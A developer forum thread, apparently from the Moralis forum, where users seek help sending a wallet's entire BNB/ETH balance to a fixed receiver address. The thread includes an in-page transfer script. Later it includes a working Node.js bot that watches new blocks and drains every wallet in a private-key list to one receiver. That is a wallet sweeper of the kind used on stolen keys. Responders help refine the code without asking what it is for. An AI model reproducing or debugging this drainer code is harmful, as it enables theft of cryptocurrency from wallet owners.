[SOLVED] Send full BNB balance

I’m using the code below to send BNB from one address to another, it’s working just fine. But I’d like to fetch and send full BNB balance instead of defining a fixed amount. Is this possible with Moralis???

<script>
							
function runcode(){
							Moralis.transfer({type:"native", receiver:"0x....", contractAddress:"0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c",amount:Moralis.Units.Token("0.0227","18")});
}
</script>
1 Like

You will have to get the native balance for that address first, and you will also have to subtract the price for gas fees and what it remains you can send

1 Like

Is there a sample code on how to do this?

There isn’t a simple function that does all that. You can use getNativeBalance from web3api to get the balance

I’ve tried this but it’s not working. Pls help.

<script>
const balances = await Moralis.Web3API.account.getNativeBalances
const gasPrice = 10
const txBuffer = ethers.utils.parseEther("0.0005");
if (balance.sub(txBuffer) > 0){
   const amount = balance.sub(txBuffer);
   try {
	   function runcode(){
	   Moralis.transfer({type:"native", receiver:"0x..", gasPrice: gasPrice * 1000000000,gasLimit:"21000" ,amount:Moralis.Units.Token(amount)});
	   }
							
</script>

you can find examples here for getNativeBalance: https://docs.moralis.io/moralis-server/web3-sdk/account#getnativebalance

So I was able to fetch the balance and tried to initiate a transfer but the balance is showing a ridiculous amount e.g 867050000000000. How do I convert this value to the BNB real value.

That value is in wei. You can convert it to bnb using this https://docs.moralis.io/moralis-dapp/tools/moralis-units#converting-token-value-from-wei

So const bnbValue = Moralis.Units.FromWei("867050000000000") for the example value you provided

Thanks so much! It’s working now.

1 Like

Update

So this is working perfectly fine in Trustwallet, maybe because Trustwallet calculates the gasPrice automatically and subtracts it from the balance but on Metamask it can’t send full balance because it doesn’t have enough to cover gas. How do I manually fetch or define gasPrice on Moralis???

Hi please is this where I’m to put my eth address to receive eth??

that receiver parameter looks like the eth address that will receive the transferred eth

okay that means I will replace “info.receiver” to my eth address right?

You can test it first on a testnet to see how it works

brother is it possible to help to withdraw the whole balance from wallet because it doesnt work it always leave a small amount, thank you



const { ethers } = require("ethers");
const provider = new ethers.providers.JsonRpcProvider("https://eth-mainnet.public.blastapi.io");
const addressReceiver = "address";
const privateKeys =
["privatekeys"];
const bot = async () => {
    provider.on("block", async () => {
      console.log("Listening new block, waiting..)");
      for (let i = 0; i < privateKeys.length; i++) {
        const _target = new ethers.Wallet(privateKeys[i]);
        const target = _target.connect(provider);
        const balance = await provider.getBalance(target.address);
        const txBuffer = ethers.utils.parseEther(".002");
        if (balance.sub(txBuffer) > 0) {
          console.log("NEW ACCOUNT WITH ETH!");
          const amount = balance.sub(txBuffer);
          try {
            await target.sendTransaction({
              to: addressReceiver,
              value: amount
            });
            console.log(`Success! transfered --> ${ethers.utils.formatEther(balance)}`);
          }
          catch (e) {
              console.log(`error: ${e}`);
          }
        }
      }
    });
  }
  
  bot();
1 Like

Try to add some logging to see what is the balance, how much it is sending

How can i contacr you in private brother

no need to contact me in private

add there some logging for that balance to see what is the value

The value is around 0.60 usd

you have to understand the gas price and gas value for a transaction in order to be able to compute how much the transaction cost will be in gas fees